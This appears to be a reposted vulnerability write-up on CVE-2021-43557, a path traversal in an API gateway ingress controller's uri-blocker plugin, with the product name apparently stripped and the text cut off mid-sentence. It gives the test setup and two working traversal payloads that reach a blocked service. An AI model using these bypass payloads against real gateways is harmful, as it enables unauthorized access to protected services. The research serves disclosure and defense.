request_uri variable with risk of path penetration

admin 4 2025-01-12 编辑

 request_uri variable with risk of path penetration

Research report about Apache Path traversal in request_uri variable(CVE-2021-43557)

In this article I will present my research on insecure usage of $request_uri variable in Apache  ingress controller. My work end up in submit of security vulnerability, which was positively confirmed and got CVE-2021-43557. At the end of article I will mention in short Skipper which I tested for same problem.

Apache is a dynamic, real-time, high-performance API gateway. provides rich traffic management features such as load balancing, dynamic upstream, canary release, circuit breaking, authentication, observability, and more.

Why $request_uri ? This variable is many times used in authentication and authorization plugins. It’s not normalized, so giving a possibility to bypass some restrictions.

In Apache there is no typical functionality of external authentication/authorization. You can write your own plugin, but it’s quite complicated. To prove that is vulnerable to path-traversal I will use uri-blocker plugin. I’m suspecting that other plugins are also vulnerable but this one is easy to use.

Setting the stage​

Install Apache into Kubernetes. Use Helm Chart with version 0.7.2:

helm repo add bitnami https://charts.bitnami.com/bitnamihelm repo updatekubectl create ns ingress-helm install  / \  --set gateway.type=NodePort \  --set ingress-controller.enabled=true \  --namespace ingress- \  --version 0.7.2kubectl get service --namespace ingress-

In case of problems follow official guide.

To create ingress route, you need to deploy Route resource:

apiVersion: .apache.org/v2beta1kind: Routemetadata:  name: public-service-routespec:  http:  - name: public-service-rule    match:      hosts:      - app.test      paths:      - /public-service/*    backends:        - serviceName: public-service          servicePort: 8080    plugins:      - name: proxy-rewrite        enable: true        config:          regex_uri: ["/public-service/(.*)", "/$1"]  - name: protected-service-rule    match:      hosts:      - app.test      paths:      - /protected-service/*    backends:        - serviceName: protected-service          servicePort: 8080    plugins:      - name: uri-blocker        enable: true        config:          block_rules: ["^/protected-service(/?).*"]          case_insensitive: true      - name: proxy-rewrite        enable: true        config:          regex_uri: ["/protected-service/(.*)", "/$1"]

Let’s dive deep into it:

  • It creates routes for public-service and private-service
  • There is proxy-rewrite turned on to remove prefixes
  • There is uri-blocker plugin configured for protected-service. It can look like mistake but this plugin it about to block any requests starting with /protected-service

Exploitation​

I’m using Apache in version 2.10.0.

Reaching out to Apache routes in minikube is quite inconvenient: kubectl exec -it -n ${namespace of Apache } ${Pod name of Apache } -- curl --path-as-is http://127.0.0.1:9080/public-service/public -H 'Host: app.test'. To ease my pain I will write small script that will work as template:

#/bin/bashkubectl exec -it -n ingress- -dc9d99d76-vl5lh -- curl --path-as-is http://127.0.0.1:9080$1 -H 'Host: app.test'

In your case replace -dc9d99d76-vl5lh with name of actual Apache pod.

Let’s start with validation if routes and plugins are working as expected:

$ ./_request.sh "/public-service/public"Defaulted container "" out of: , wait-etcd (init){"data":"public data"}
$ ./_request.sh "/protected-service/protected"Defaulted container "" out of: , wait-etcd (init)<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html>

Yep. public-service is available and protected-service is blocked by plugin.

Now let’s test payloads:

$ ./_request.sh "/public-service/../protected-service/protected"Defaulted container "" out of: , wait-etcd (init){"data":"protected data"}

and second one:

$ ./_request.sh "/public-service/..%2Fprotected-service/protected"Defaulted container "" out of: , wait-etcd (init){"data":"protected data"}

As you can see in both cases I was able to bypass uri restrictions.

Root cause​

uri-blocker plugin is using ctx.var.request_uri variable in logic of making blocking decision. You can check it

request_uri variable with risk of path penetration

上一篇: Understanding the Significance of 3.4 as a Root in Mathematics
下一篇: Monitor Ingress Controller with Prometheus
相关文章